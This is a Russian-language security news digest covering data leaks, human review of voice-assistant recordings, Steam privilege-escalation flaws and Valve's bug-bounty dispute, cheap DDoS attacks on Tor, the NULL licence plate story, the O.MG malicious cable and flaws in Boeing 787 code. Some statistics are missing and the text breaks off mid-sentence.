То  есть  пока  даже  нель зя  ска зать,  под вер глась  ком пания  взло му  или же
сер вер  с  дан ными  был  слу чай но  оставлен  «откры тым»  для  всех  жела ющих.
Так же  неиз вес тно,  ког да  про изо шел  инци дент  (мож но  пред положить,  что
это  слу чилось  еще  в  2017  году)  и  кто  обна ружил  проб лему — один  из  кли‐ 
ентов, баг хантер или кто‐то дру гой.

СВОД РЕКОМЕН ДАЦИЙ ПО «ЦИФ РОВОЙ ГИГИ ЕНЕ»
В начале августа пред ста вите ли Рос качес тва опуб ликова ли свод рекомен даций по «циф ровой
гиги ене», в рам ках которо го дали нес коль ко советов поль зовате лям. Сре ди впол не оче вид ных
рекомен даций,  вро де  уста нов ки  анти виру са,  в  Рос качес тве  так же  совету ют  зак леивать  мик‐ 
рофон и  камеру  устрой ства,  отме чая,  что  это  уже не паранойя,  а  одно из пра вил  «циф ровой
гиги ены».

→ «Сто ит зак леивать камеру и мик рофон до вос тре бова ния. Это уве личит ваши шан сы на при‐ 
ват ность и спо кой ствие — даже если к вам под клю чит ся хакер, он вас не уви дит и не услы шит.
Кому‐то дан ная рекомен дация может показать ся параной ей, одна ко мно гие все же зак рыва ют
вход ную дверь на нес коль ко обо ротов, даже ког да дома. Если есть воз можность избе жать неп‐ 
рият ностей таким лег ким спо собом, как зак лей ка камеры и мик рофона, то луч ше им вос поль‐ 
зовать ся»
— рекомен дация Рос качес тва
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ГИГАНТЫ
ПЕРЕСТАНУТ
ПОДСЛУШИВАТЬ
В прош лом месяце СМИ ули чили ком пании  ,  ,  , 
и   в  том, что  те хра нят записи раз говоров поль зовате лей с  голосо‐ 
выми помощ никами и  переда ют  их  для  ана лиза живым людям  (сот рудни кам
или сто рон ним под рядчи кам). Таким обра зом экспер ты раз бира ются в нюан‐ 
сах  раз ных  язы ков  и  акцентов,  транс кри биру ют  отдель ные  отрывки  раз‐ 
говоров  и  тем  самым  помога ют  обу чать  ассистен тов  и  совер шенс тву ют
работу сис тем обра бот ки естес твен ного язы ка.

Amazon Apple Google Facebook
Microsoft

К сожале нию, во всех слу чаях жур налис ты отме чали, что в рас поряже нии
ком паний регуляр но ока зыва ются не толь ко коман ды, про изне сен ные пос ле
клю чевых фраз «OK, Google» или «При вет, Siri», но и час тные раз говоры поль‐ 
зовате лей, записан ные по ошиб ке. Так, иссле дова тели обна ружи ли, что ком‐ 
пании слу шают раз говоры в спаль не, раз говоры меж ду родите лями и деть ми,
скан далы  и  рабочие  телефон ные  звон ки,  содер жащие  мно го  лич ной
информа ции.  К  при меру,  изда ние  The  Guardian  сооб щало,  что  под рядчи ки
Apple  регуляр но  слу шают  записи  Siri,  в  которых  содер жатся  дан ные  о  сек‐ 
суаль ных кон тактах, покуп ке или про даже нар котиков, а так же дис куссии меж‐ 
ду вра чами и паци ента ми.

В ответ на про исхо дящее пред ста вите ли Apple пос пешили заявить, что эта
прог рамма «оцен ки» поль зователь ских зап росов была соз дана исклю читель‐ 
но  для  того,  что бы  опре делить,  кор рек тно  ли  интер пре тиру ются  зап росы
людей и не «про сыпа ется» ли Siri по ошиб ке. Так же в ком пании под черки вали,
что  дос тупные  сот рудни кам  ауди оот рывки  не  свя заны  с  кон крет ными  поль‐ 
зовате лями и их User  ID и экспер ты оце нива ют менее 1% ежед невных акти‐ 
ваций Siri.

Так же  Apple  вре мен но  при оста нови ла  работу  прог раммы  во  всем  мире.
В  ком пании  пообе щали  перес мотреть  под ход  к  кон тро лю  качес тва  работы
Siri,  и  уже  в  кон це  месяца  ком пания  при нес ла  изви нения  поль зовате лям
и  объ яви ла  об  изме нени ях,  которые  кос нутся  того,  как  Siri  обра баты вает
ауди оза писи  голосо вых  команд,  а  так же  того,  кто  имен но  может  слу шать
и ана лизи ровать эти вза имо дей ствия поль зовате лей с голосо вым ассистен‐ 
том.

Так, гря дущей осенью Apple пла ниру ет обно вить свое ПО таким обра зом,
что бы  поп росить  у  поль зовате лей  сог ласие  на  соз дание  ауди оза писей
«обще ния» с Siri, а так же заг рузку этих фай лов на свои сер веры. Если поль‐ 
зователь отка жет ся от такой «прос лушки», ком пания будет исполь зовать сге‐ 
нери рован ные  компь юте ром  рас шифров ки  раз говоров,  что бы  улуч шить
работу Siri.

Кро ме  того,  ком пания объ яви ла,  что обра бот ка ауди оза писей Siri  теперь
ста нет  исклю читель но  внут ренним  про цес сом,  то  есть  никаких  боль ше  сто‐ 
рон них под рядчи ков. Начиная с осе ни  толь ко  сот рудни кам Apple будет раз‐ 
решено работать с запися ми Siri, а любые записи, которые будут опре деле ны
как слу чай ное «про буж дение» Siri, собира ются немед ленно уда лять.

По хожие  меры  пред при няли  и  дру гие  ком пании,  ана лизи ровав шие  раз‐ 
говоры поль зовате лей. Так,  ком пания Facebook приз налась, что пла тит под‐ 
рядчи кам за прос лушива ние и рас шифров ку кли пов, соб ранных в Messenger,
но уже при оста нови ла работу этой прог раммы, учи тывая негатив ную реак цию
общес твен ности.

По информа ции Bloomberg, под рядчи кам было поруче но про верять, пра‐ 
виль но ли алго рит мы и ИИ‐сис темы Facebook интер пре тиру ют ауди окон тент.
«Прос лушка»  зат рагива ла  толь ко  тех  поль зовате лей,  которые  раз решили
транс кри биро вание сво их  голосо вых чатов в при ложе нии Facebook Messen‐
ger, и все кли пы, с которы ми работа ли под рядчи ки, были ано ним ными.

Из вес тно, что по мень шей мере одна ком пания, TaskUs, занима лась рас‐ 
шифров кой  раз говоров  поль зовате лей.  Ком пания  сот рудни чала  с  Facebook
в  качес тве  кли ента  под  кодовым  име нем  Prism  и  так же  про веря ла  кон тент,
который мог нарушать пра вила соци аль ной сети. В TaskUs под твер дили жур‐ 
налис там,  что  фир му  уже  поп росили  прек ратить  работу  по  рас шифров ке
записей око ло недели тому назад.

Ком пания Microsoft, в свою оче редь, обно вила полити ки кон фиден циаль‐ 
нос ти  и  дру гие  стра ницы,  объ ясня ющие  прин ципы  работы  Cortana  и  Skype
Translator.  Теперь  ком пания  однознач но  дает  понять,  что  отрывки  диало гов
поль зовате лей могут обра баты вать живые люди, а не толь ко авто мати ка.

По хожее заяв ление сде лала и ком пания Google. По информа ции Associat‐
ed Press, пос ле утеч ки тысячи записей Google Assistant в Бель гии Google в ЕС
прек ратит  занимать ся  транс крип цией  дан ных,  записан ных  Google  Assistant,
как минимум на три месяца. Дело в том, что соот ветс тву ющий зап рет на ком‐ 
панию наложи ло гам бург ское бюро по защите дан ных: у ведомс тва воз никли
серь езные  сом нения  в  том,  что  текущее  поведе ние  Google  Assistant
не наруша ет GDPR.

 РЕК ЛАМНЫХ БАН НЕРА ПРИ НОСЯТ БОЛЬ ШЕ ПРИ БЫЛИ,
ЧЕМ КРИП ТОДЖЕ КИНГ
3

Свод ная  груп па  иссле дова телей  из  Уни вер ситета  Чикаго  и  Уни вер ситета  Кри та  опуб ликова ла
иссле дова ние,  которое  доказы вает:  крип тодже кинг  (май нинг  крип товалю ты  через  бра узе ры
посети телей сай тов) при носит куда мень ше при были, чем обыч ная рек лама.

Ис сле дова тели под счи тали, что раз мещение на сай те   рек ламных объ явле ний при носит в 
раза боль ше при были, чем встра ива ние в стра ницы ресур са скрип тов для крип тодже кин га. Что‐ 
бы  обес печить  срав нимый  уро вень  дохода,  вла дель цу  сай та  необ ходимо  удер живать  посети‐ 
телей более   минуты, а это неп росто.
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Так же иссле дова тели отме чают, что занима ющиеся крип тодже кин гом сай ты не толь ко уве личи‐ 
вают наг рузку на про цес сор, но и исполь зуют в   раза боль ше опе ратив ной памяти, нежели
ресур сы с обыч ной рек ламой.
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VALVE
И ДВА ЗЕРОДЕЯ
Пер вый 0-day
В начале августа ИБ‐спе циалист Василий Кра вец в откры том дос тупе опуб‐ 
ликовал  информа цию  об  уяз вимос ти,  которая  поз воляла  добить ся  локаль‐ 
ного  повыше ния  при виле гий  в  кли енте  Steam,  пос ле  чего  любой  поль‐ 
зователь  получа ет  воз можность  выпол нять  коман ды  от  име ни  NT
AUTHORITY\SYSTEM. Уяз вимость была про вере на в Windows 8  x64, Windows
8.1 x64 и Windows 10 x64.

Проб лема  зак лючалась  в  том,  что  на  момент  пуб ликации  отче та  спе‐ 
циалис та баг все еще не был исправ лен,  хотя Кра вец чес тно сооб щил Valve
об уяз вимос ти через плат форму HackerOne и выж дал 45 дней пос ле при нятия
отче та о проб леме.

Ока залось,  сна чала  иссле дова телю  приш лось  доказы вать  пер соналу
HackerOne, что у него дей стви тель но есть отчет об уяз вимос ти, так как Valve
исполь зует  фун кцию  Managed  by  HackerOne,  то  есть  информа цию  о  проб‐ 
лемах сна чала про веря ют спе циалис ты плат формы. Уже на этом эта пе Кра‐ 
вец получил пер вый отказ из‐за того, что пред ложен ная им ата ка яко бы тре‐ 
бова ла воз можнос ти рас полагать фай лы в про изволь ных путях фай ловой сис‐ 
темы.

Так  как  на  самом  деле  ни  одной  опе рации  с  фай ловой  сис темой  спе‐ 
циалист не пред лагал, он добил ся переп ровер ки отче та и его все же переда‐ 
ли инже нерам Valve. Одна ко вско ре отчет вновь помети ли как неп рием лемый,
так  как  «ата ка  тре бует  физичес кого  дос тупа  к  устрой ству  поль зовате ля».
Иссле дова тель с сожале нием отме чал, что ата ки на повыше ние при виле гий,
оче вид но,  поп росту  неин терес ны  Valve.  Хуже  того,  спе циалис ту  зап ретили
пуб ликовать  информа цию о  проб леме,  даже  учи тывая,  что  Valve  не  собира‐ 
лась ее исправ лять.

«Доволь но  иро нич но  обна ружить,  что  лаун чер,  который  фак тичес ки
пред назна чен  для  того,  что бы  запус кать  сто рон ние  прог раммы
на  вашем  компь юте ре,  поз воля ет  им вти хую получить мак сималь ные
при виле гии», — писал Кра вец.

Пос ле пуб лично го рас кры тия дан ных об уяз вимос ти, а так же о тщет ных попыт‐ 
ках добить ся ее исправ ления, Valve и HackerOne под вер глись рез кой кри тике
со  сто роны  сооб щес тва.  В  ответ  на  этот  негатив  Valve  все‐таки  выпус тила
исправ ление, воз держи ваясь от ком мента риев, но уже через нес коль ко часов
спе циалис ты замети ли, что патч ком пании неэф фекти вен и его мож но лег ко
обой ти.

Ху же того, ког да СМИ прив лекли вни мание к про исхо дяще му, выяс нилось,
что извес тный ИБ‐эксперт Мэтт Нель сон (Matt Nelson) тоже обна ружи вал дан‐ 
ную уяз вимость и тоже пытал ся сооб щить о ней ком пании через HackerOne.
Одна ко и в этом слу чае Valve отка залась исправ лять проб лему, а затем отчет
экспер та вооб ще был заб локиро ван, ког да Нель сон хотел пуб лично рас крыть
ошиб ку и пре дуп редить поль зовате лей.

Вто рой 0-day
За тем  Василий  Кра вец  опуб ликовал  под робный  отчет  о  вто рой  0‐day‐уяз‐ 
вимос ти в кли енте Steam, так же свя зан ной с локаль ной эска лаци ей при виле‐ 
гий. Более того, иссле дова тель рас ска зал, что не име ет воз можнос ти сооб‐ 
щить о проб леме Valve, так как пос ле под нявшей ся шумихи и пуб ликации пер‐ 
вого  отче та  его  поп росту  забани ли  в  bug  bounty  прог рамме  Valve
на HackerOne.

Вмес те с этим ИБ‐сооб щес тво про дол жало кри тико вать Valve,  так как проб‐ 
лемы эска лации при виле гий никак нель зя наз вать пус тяковы ми. Разуме ется,
такие уяз вимос ти не исполь зуют ся для пер вично го взло ма компь юте ра и уда‐ 
лен ных при ложе ний, но они полез ны во вре мя пос тэкс плу ата ции и помога ют
зло умыш ленни кам  уста новить  пол ный  кон троль  над  целью,  получив  пра ва
root/admin/system.

От казав шись  исправ лять  дан ные  проб лемы,  Valve  фак тичес ки  под вер гла
опас ности  око ло  100  мил лионов  Windows‐поль зовате лей,  которые  име ют
на сво их компь юте рах уста нов ленный кли ент Steam.

Пат чи и изме нения в bug bounty
В ито ге 22 августа 2019 года ком пания Valve наконец отре аги рова ла на про‐ 
исхо дящее дол жным обра зом.

Во‐пер вых,  Valve  добави ла  исправ ления  для  опи сан ных  уяз вимос тей
в  бета‐вер сию  кли ента  Steam,  и  пока  сооб щений  об  обхо де  этих  пат чей
от иссле дова телей не пос тупало.

Во‐вто рых,  пред ста вите ли  ком пании  Valve  прер вали  свое  затянув шееся
мол чание  и  в  ком мента рии  изда нию  ZDNet  наз вали  все  про изо шед шее
огромным недора зуме нием:

«Пра вила нашей прог раммы HackerOne дол жны были лишь отсе ивать
отче ты,  которые  пред лагали  про инс трук тировать  Steam  на  запуск
ранее уста нов ленно го вре донос ного ПО на компь юте ре поль зовате ля
от име ни это го локаль ного поль зовате ля. Но вмес то это го неп равиль- 
ное тол кование пра вил при вело к отсе ива нию более серь езной ата ки,
которая пред полага ла выпол нение локаль ного повыше ния при виле гий
через Steam. Мы обно вили пра вила нашей прог раммы на HackerOne,
что бы  пря мо  ука зать,  что  такие  проб лемы  рас смат рива ются  и  о  них
сле дует сооб щать».

Пра вила bug bounty прог раммы ком пании дей стви тель но уже были обновле‐ 
ны  соот ветс тву ющим  обра зом.  Кро ме  того,  в  ком пании  наз вали  ошиб кой
откло нение пер вого отче та Кра веца,  пообе щали рас смот реть  сло жив шуюся
ситу ацию  еще  раз  и  затем  решить,  как  пос тупить  даль ше.  Пока  иссле дова‐ 
тель по‐преж нему забанен Valve в H1.

КО ЛИЧЕС ТВО АТАК НА МОБИЛЬ НЫЙ БАН КИНГ ВОЗ РОСЛО
В ДВА РАЗА
Ис сле дова тели ком пании Check Point пред ста вили отчет, пос вящен ный основным тен денци ям
в кибера таках в пер вом полуго дии 2019 года. Рез ко вырос ла доля атак на мобиль ный бан кинг
и облачные хра нили ща, а одной из самых рас простра нен ных угроз ста ла бан ков ская мал варь.
Экспер ты под черки вают, что в наши дни ни одна сфе ра пол ностью не защище на от кибера так:
опас ности под верже ны лич ные мобиль ные устрой ства, облачные хра нили ща, мобиль ный бан‐ 
кинг, элек трон ная поч та, раз личные при ложе ния и даже популяр ные поч товые плат формы.

По  дан ным  ком пании,  количес тво  атак  на  мобиль ный  бан кинг  воз росло  в  .  Так же
кибер прес тупни ки  активно исполь зуют  ,  а  рас тущая популяр‐ 
ность  обще дос тупных  облачных  сред  при вела  к  уве личе нию  чис ла  кибера так,  нацелен ных
на огромные объ емы кон фиден циаль ных дан ных, находя щих ся на этих плат формах.
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В Рос сии, в свою оче редь, был очень акти вен вре донос по име ни  . Под видом
скры того  при ложе ния,  свя зан ного  с  Google,  вре донос ная  прог рамма  исполь зует  извес тные
уяз вимос ти  Android  и  авто мати чес ки  заменя ет  уста нов ленные  легитим ные  при ложе ния  вре‐ 
донос ными  вер сиями  незамет но  для  поль зовате ля.  Поль зовате ли  заг ружали  при ложе ние
из популяр ного неофи циаль ного магази на при ложе ний 9Apps. «Агент Смит» заразил в Рос сии
око ло   устрой ств.

«Агент Смит»
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ДЕГРАДАЦИЯ TOR.
БЫСТРО, НЕДОРОГО
Эк спер ты  из  Джорд жта унско го  уни вер ситета  и  Иссле дова тель ской  лабора‐ 
тории ВМФ США пред ста вили на  кон ферен ции USENIX инте рес ный док лад,
пос вящен ный дег радации про изво дитель нос ти сети Tor.

Ис сле дова тели  утвер жда ют,  что  ощу тимо  пов редить  работос пособ ности
Tor мож но прос тыми DDoS‐ата ками на TorFlow, мос ты Tor и кон крет ные узлы.
Хуже того,  такие ата ки могут сто ить  тысячи или десят ки  тысяч дол ларов, что
прос то  сме хот ворно,  если  речь  идет  о  «пра витель ствен ных  хакерах»
или серь езных кибер прес тупных груп пах.

Ко неч но, ата ка на всю сеть Tor пол ностью — это уто пичес кая идея. Если
говорить  о  DDoS,  ата кующим  понадо бит ся  наб рать  мощ ность
как минимум 512,73 Гбит/с, и это будет сто ить при мер но 7,2 мил лиона дол‐ 
ларов  в  месяц.  Одна ко,  по  под сче там  иссле дова телей,  такие  радикаль ные
меры вов се не обя затель ны.

Вмес то это го спе циалис ты пред ложили ата ковать мос ты Tor — спе циаль‐ 
ные  вход ные  узлы,  спис ка  IP‐адре сов  которых  нет  в  откры том  дос тупе
и которые поэто му нель зя лег ко заб локиро вать. Так, в Tor‐бра узе ре есть спи‐ 
сок пре дус танов ленных мос тов, а  так же нас трой ки мож но най ти на bridges.‐
torproject.org.  Мос ты  поз воля ют  обхо дить  цен зуру  в  стра нах,  где  влас ти
активно борют ся с исполь зовани ем Tor.

Ис сле дова тели  пишут,  что  в  нас тоящее  вре мя  далеко  не  все  мос ты  Tor
находят ся в рабочем сос тоянии (по их информа ции, работа ют лишь две над‐ 
цать)  и  DDoS‐ата ка  на  них  обой дет ся  лишь  в  17  тысяч  дол ларов  в  месяц.
И  даже  если  зарабо тают  все  38  мос тов,  то  ата ка  на  них  будет  сто ить
лишь 31 тысячу дол ларов в месяц.

Еще один воз можный сце нарий ата ки — DDoS, нап равлен ная на TorFlow,
сис тему  балан сиров ки  наг рузки  в  сети  Tor.  Эта  сис тема  рас пре деля ет  тра‐ 
фик,  что бы  пре дот вра тить  перепол нение  и  замед ление  работы  некото рых
сер веров.

По  под сче там  ана лити ков,  про дол житель ная  DDoS‐ата ка  на  TorFlow,
исполь зующая обще дос тупные DDoS‐сер висы, будет сто ить все го 2800 дол‐ 
ларов  в  месяц.  При  этом,  говорит ся  в  док ладе,  высоко точ ная  симуля ция
показа ла,  что  подоб ная  ата ка  сни зит  сред нюю  ско рость  заг рузки  кли ента
на 80%.

Тре тий  пред ложен ный  иссле дова теля ми  сце нарий  атак  —  это  ата ки
на наибо лее рас простра нен ный тип Tor‐сер веров — кон крет ные Tor‐узлы (re‐
lay).  В  дан ном  слу чае  пред полага ется  не  при менять  DDoS‐ата ки,  а  исполь‐ 
зовать  проб лемы  самого  Tor,  то  есть  логичес кие  ошиб ки  для  замед ления
работы и вре мени заг рузки кон тента. Подоб ные проб лемы мно го лет экс плу‐ 
ати руют ся зло умыш ленни ками и кон куриру ющи ми хак‐груп пами, и раз работ‐ 
чики Tor по мере сил   с такими багами.бо рют ся

Как под счи тали экспер ты, ата ки на кон крет ные .onion‐ресур сы тоже сто ят
сов сем недоро го. Так, зло умыш ленник может уве личить сред нее вре мя заг‐ 
рузки тра фика на кон крет ном сай те на 120% все го за 6300 дол ларов в месяц
или на 47% все го за 1600 дол ларов в месяц.

«Как  извес тно,  государс тва  спон сиру ют  DoS-ата ки,  а  прос тота  при- 
мене ния и низ кая сто имость наших атак поз воля ют пред положить, что
влас ти  могут  исполь зовать  их  для  под рыва  работы  Tor  как  в  крат- 
косроч ной,  так  и  в  дол госроч ной  пер спек тиве.  Мы  полага ем,  что
государс тва могут,  нап ример,  выб рать  DoS  в  качес тве  аль тер нативы
филь тра ции  тра фика,  пос коль ку  Tor  пос тоян но  про дол жает  улуч шать
свою  спо соб ность  обхо да  бло киро вок  и  цен зуры»,  —  пишут  иссле- 
дова тели.

 ПОЛЬ ЗОВАТЕ ЛЕЙ НЕ ЗАЩИЩА ЮТ СВОИ ЛИЧ НЫЕ
ДАН НЫЕ
23%

Ком пания ESET про вела опрос о безопас ном поведе нии в интерне те. Сог ласно иссле дова нию,

 поль зовате лей не пред при нима ют вооб ще ничего для защиты сво их пер сональ ных дан‐ 
ных;
23%

 опро шен ных уда ляют исто рию поис ковых зап росов;17%

  приз нались,  что зак леивают веб‐камеру,  что бы зло умыш ленни ки не мог ли за ними под‐ 
гля дывать;
15%

 поль зовате лей не вво дят дан ные от кре дит ных кар точек даже на офи циаль ных сай тах;14%

 регуляр но очи щают сооб щения в перепис ке.11%

Так же  выяс нилось,  что  некото рых  поль зовате лей  навяз чивая  рек лама  вол нует  не  мень ше
безопас ности,  поэто му  они  ука зыва ют  вре мен ные  email  при  регис тра ции,  что бы  не  получать
спам. Таких нас читыва ется  .13%

НОМЕР NULL —
ПЛОХАЯ ИДЕЯ
Как извес тно, в США пра вила допус кают исполь зование пер сонали зиро ван‐ 
ных номер ных зна ков для авто моби лей (хотя и с некото рыми огра ниче ниями).
Одна ко  исто рия,  которой  поделил ся  на  кон ферен ции  DEF  CON  ИБ‐иссле‐ 
дова тель,  извес тный  под  псев донимом  Droogie,  выс тупая  с  док ладом
об  экра ниро вании  вход ных  дан ных,  доказы вает,  что  про являть  излишнее
твор чес тво и юмор в таких делах все же не сто ит.

Droogie на DEF CON

Шут ки  ради  Droogie  зарегис три ровал  в  Калифор нии  номер ной  знак,  сос‐ 
тоящий исклю читель но из сло ва NULL. Иссле дова тель приз нался ауди тории,
что изна чаль но прос то хотел пошутить, а так же в глу бине души наде ялся, что
этот  трюк  поможет  ввес ти  в  заб лужде ние  авто мати чес кие  счи тыва тели
номер ных зна ков и сис тему выдачи штра фов Минис терс тва тран спор та США
(DMV), сде лав его нас тоящим невидим кой. Но в реаль нос ти все выш ло сов‐ 
сем наобо рот.

В  течение  пер вого  года  Droogie,  как  акку рат ный  водитель,  вооб ще
не получал никаких штра фов и казалось, что все в поряд ке. Пер вый тре вож‐ 
ный  зво ночек  проз венел,  ког да  иссле дова тель  решил  перере гис три ровать
свои номера через интернет: на сай те ему пред ложили ввес ти свой номер‐ 
ной знак, но пос ле вво да NULL стра ница DMV сло малась и отка залась рас‐ 
познать ввод.

За тем Droogie получил штраф за неп равиль ную пар ковку и понял, что стать
невидим кой ему не уда лось. Хуже того, ока залось, что пос ле это го база дан‐ 
ных неоп лачен ных штра фов свя зала номер ной знак NULL с его адре сом, и на
иссле дова теля посыпа лись сот ни чужих штра фов. Дело в том, что база нап‐ 
равля ла  на  адрес  иссле дова теля  все  штра фы  для  слу чаев,  ког да  номера
авто моби лей‐наруши телей  были  ей  неиз вес тны.  Вско ре  общая  сто имость
штра фов, получен ных Droogie, сос тавила 12 049 дол ларов.

Продолжение статьи →
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Ког да  иссле дова тель  свя зал ся  с  пред ста вите лями  DMV  и  полици ей
Лос‐Андже леса,  объ яснив  им,  что  про исхо дит,  те  лишь  раз вели  руками
и посове това ли ему поменять номера.

И  хотя  чужие штра фы на сум му 12  тысяч дол ларов с Droogie  сня ли,  ком‐ 
пания,  управля ющая  базой  дан ных,  по‐преж нему  не  решила  проб лему
и чужие штра фы про дол жают пос тупать спе циалис ту до сих пор. В нас тоящее
вре мя  сис тема  счи тает,  что  Droogie  дол жен  опла тить  штра фов  при мер но
на 6000 дол ларов, но иссле дова тель сооб щил под смех ауди тории, что опла‐ 
чивать их он не намерен.

НО ВАЯ ТЕХ НИКА DDOS‐АТАК
Эк спер ты  Qrator  Labs  отра зили  нап равлен ные  на  меж дународ ную  хос тинго вую  плат форму
Servers.com  DDoS‐ата ки,  длив шиеся  с  18  по  20  августа  2019  года.  В  их  чис ле  была  пер вая
в  мире  зафик сирован ная  на  прак тике  широко мас штаб ная  ата ка  с  исполь зовани ем  одно го
из век торов TCP‐ампли фика ции (реп лициро ван ный SYN/ACK‐флуд).

→ «Про изо шед ший инци дент — отличная демонс тра ция того, нас коль ко хруп ким явля ется сов‐ 
ремен ный интернет. Прош ло поч ти пять лет с тех пор, как был опуб ликован иссле дова тель ский
документ, опи сыва ющий тех нику SYN/ACK‐ампли фика ции. Тем не менее за это вре мя не было
пред при нято никаких инже нер ных уси лий для решения проб лемы, что в ито ге при вело к серии
успешных атак с абсо лют но раз рушитель ными пос ледс тви ями.

Се год ня нам нуж ны более совер шенные про токо лы, инфраструк тура и тех нологии для пре‐ 
дот вра щения подоб ных атак в бли жай шем будущем. Необ ходимо пос тро ение сис темы управле‐ 
ния  угро зами,  сос тавле ние  пла нов  по  сни жению  рис ков  и  их  кор ректи ров ка  не  реже  одно го
раза в год, пос коль ку в наши дни ситу ация с угро зами безопас ности меня ется очень быс тро»
— Алек сандр Лямин, осно ватель и генераль ный дирек тор Qrator Labs

ВРЕДОНОСНЫЙ
КАБЕЛЬ
Эн тузи аст под псев донимом MG дав но и хорошо известен в ИБ‐сооб щес тве.
Так,  при  соз дании  вре донос ного  кабеля    имен но его работа ми
вдох новля лись такие леген ды, как Кевин Мит ник. Дело в том, что MG не раз
демонс три ровал в сво ем   ата ки через рукот ворные вре донос ные USB‐
кабели и даже несос тоятель ность спе циаль ных переход ников (такие решения
извес тны,  как  USB‐пре зер вативы  или  USB  condom),  которые  приз ваны
защищать от атак через USB.

USBHarpoon

Twitter

Свое новое тво рение — вре донос ный кабель под наз вани ем O.MG cable,
раз работан ное при под дер жке еще нес коль ких  талан тли вых инже неров, MG
впер вые  про демонс три ровал  еще  в  начале  текуще го  года.  Такой  кабель
внеш не  не  отли чает ся  от  обыч ного,  и  его  мож но  под клю чить  к  машине
под управле нием Linux, Mac или Windows.

Од нако  на  деле O.MG  cable  сов сем  не  так  прост:  он  опре деля ется  сис‐ 
темой как HID (Human  Interface Device), то есть USB‐девайс для вза имо дей‐ 
ствия  с  челове ком  (обыч но  это  кла виату ра,  мышь,  игро вой  кон трол лер
и подоб ное). Так как MG добавил сво ей раз работ ке и под дер жку бес про вод‐ 
ных  соеди нений,  в  ито ге,  бла года ря  под клю чению  O.MG  cable  к  целевой
машине, зло умыш ленник получа ет воз можность выпол нять через Wi‐Fi любые
коман ды, буд то прос то набира ет их на кла виату ре целево го компь юте ра.

На этот раз MG пошел даль ше демонс тра ции про тоти па в Twitter и при вез
вре донос ные кабели на ИБ‐кон ферен цию DEF CON, где их мож но было при‐ 
обрести по цене 200 дол ларов США за шту ку. O.MG cable пос тавля ется с уже
готовы ми  пей лоада ми,  и  его  опе ратор  даже  име ет  воз можность  уда лен но
«убить» USB‐имплан тат, заметая сле ды.

В нас тоящее вре мя (при пря мом под клю чении к кабелю) ата кующий может
находить ся в ради усе при мер но 90 м от сво ей цели, но MG под черки вает, что
кабель  так же мож но нас тро ить для работы в  качес тве  кли ента в бли жай шей
бес про вод ной сети. И если эта бес про вод ная сеть име ет выход в интернет,
рас сто яние ата ки уже ничем не огра ниче но.

Ис сле дова тель рас ска зал,  что  переде лывать ори гиналь ные  кабели Apple
вруч ную  ока залось  неп ростой  задачей,  но,  если  делать  кабели  с  нуля  и  в
боль шем мас шта бе, эта проб лема отпа дет сама собой (пока на сбор ку одно‐ 
го кабеля MG тра тит око ло четырех часов).

Де ло в  том,  что домаш ний про ект O.MG cable вот‐вот перерас тет в пол‐ 
ноцен ное  про изводс тво,  так  как  с  MG  уже  сог ласилась  сот рудни чать
Hak5  и  про изводс тво  O.MG  cable  пла ниру ют  пос тавить  на  поток,  про давая
устрой ства как легитим ный инс тру мент для пен тесте ров и ИБ‐спе циалис тов.

Сог ласно  бло гу  MG,  сто имость  серий ных  O.MG  cable  дол жна  сос тавить
око ло 100 дол ларов США. Точ ных дат начала про даж MG пока не называ ет,
но на сай те Hak5 уже появи лась  ,  где мож но зарегис‐ 
три ровать ся и получить уве дом ление, ког да кабели будут готовы.

спе циаль ная стра ница

ДВУХ ФАКТОР НАЯ АУТЕН ТИФИКА ЦИЯ ЗАЩИТИТ ОТ 
ПОПЫТОК ВЗЛО МА

99,9%

По  ста тис тике  ком пании  Microsoft,  мно гофак торная  аутен тифика ция  поз воля ет  бло киро вать
  авто мати зиро ван ных  атак,  при чем  речь  идет  не  толь ко  об  учет ных  записях Microsoft,

но и о любых дру гих про филях, на любых веб‐сай тах или онлайн‐сер висах.
99,9%

Блог ком пании сооб щает, что каж дый день совер шает ся более   попыток мошен‐ 
ничес кого вхо да в облачные сер висы Microsoft и вклю чение мно гофак торной аутен тифика ции
помога ет бло киро вать боль шинс тво, даже если в рас поряже нии хакеров есть  копия  текуще го
пароля поль зовате ля.

300 000 000

Ос тавши еся    при ходят ся  на  более  слож ные  ата ки,  свя зан ные  с  зах ватом  токенов  мно‐ 
гофак торной аутен тифика ции, но подоб ные ата ки пока ред ки по срав нению с credential stuffing
ата ками бот нетов.

0,1%

ПРОБЛЕМЫ В КОДЕ
BOEING 787
Спе циалист  ком пании  IOActive  Рубен  Сан тамар та  (Ruben  Santamarta)  пред‐ 
ста вил на кон ферен ции Black Hat край не инте рес ный док лад. Иссле дова тель
рас ска зал, что в сен тябре прош лого года ему слу чай но уда лось обна ружить
в  Сети  исходные  коды  Boeing  787  Dreamliner.  Впос ледс твии  было  под‐ 
твержде но, что эти work  in progress коды были слу чай но оставле ны на обще‐ 
дос тупном сер вере Boeing, при над лежащем RnD‐под разде лению ком пании.

Изу чив исходни ки, иссле дова тель выявил в них ряд уяз вимос тей и при шел
к  выводу,  что  бла года ря  этим  багам  теоре тичес ки  воз можен  даже  угон
самоле та.

Сан тамар та объ ясня ет, что на бор ту Boeing 787, по сути, при сутс тву ют три
элек трон ные сети: пер вая, в которой работа ют раз ные нек ритич ные сис темы,
такие как бор товая раз вле катель ная сис тема; вто рая, более изо лиро ван ная,
где базиру ются более важ ные при ложе ния, зарезер вирован ная для эки пажа
и  тех ничес кого  обслу жива ния;  и  третья,  самая  защищен ная,  отве ден ная
для работы ави они ки (совокуп ность всех сис тем, раз работан ных для исполь‐ 
зования в ави ации в качес тве бор товых при боров).

На  обще дос тупном  сер вере  Boeing  экспер ту  уда лось  обна ружить
исходни ки, отно сящи еся ко вто рой сети: про шив ки Crew Information System /
Maintenance  System  (CIS/MS),  а  так же  Onboard  Networking  System  (ONS)
для Boeing 787 и 737.

Про ведя  ана лиз  исходни ков,  а  так же  изу чив  най ден ные  в  откры тых
источни ках  докумен ты, Сан тамар та  выявил  в  коде  ряд  проб лем.  К  при меру,
в  сво ем  док ладе  иссле дова тель  пред лага ет  исполь зовать  баги  в  бор товой
раз вле катель ной  сис теме  в  пер вой  сети,  что бы  про ник нуть  во  вто рую  сеть
и там экс плу ати ровать уяз вимос ти в CIS/MS, в ито ге попав в третью сеть, где
будет воз можно под клю чить ся  к ави они ке, пов лиять на показа ния при боров
и даже угнать воз душное суд но.

В  изу чен ном  коде  сот рудни кам  IOActive  уда лось  выявить  сот ни  ссы лок
на  небезо пас ные  вызовы фун кций  в  кас томных  час тях  импле мен тации  ядра
VxWorks CIS. Так же были обна руже ны проб лемы, свя зан ные с целочис ленны‐ 
